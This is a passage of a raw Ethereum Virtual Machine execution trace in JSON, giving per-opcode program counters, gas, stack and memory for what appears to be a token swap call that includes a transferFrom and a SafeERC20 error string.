"0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1","0x20","0x20","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13746,"op":"JUMPI","gas":79997,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1","0x20","0x20","0x0","0x35d4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13747,"op":"PUSH1","gas":79987,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13749,"op":"MLOAD","gas":79984,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1","0x20","0x20","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13750,"op":"SWAP2","gas":79981,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1","0x20","0x20","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13751,"op":"POP","gas":79978,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1","0x2e4","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13752,"op":"PUSH1","gas":79976,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1","0x2e4","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13754,"op":"NOT","gas":79973,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1","0x2e4","0x20","0x1f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13755,"op":"PUSH1","gas":79970,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1","0x2e4","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13757,"op":"RETURNDATASIZE","gas":79967,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1","0x2e4","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0","0x3f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13758,"op":"ADD","gas":79965,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1","0x2e4","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0","0x3f","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13759,"op":"AND","gas":79962,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1","0x2e4","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0","0x5f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848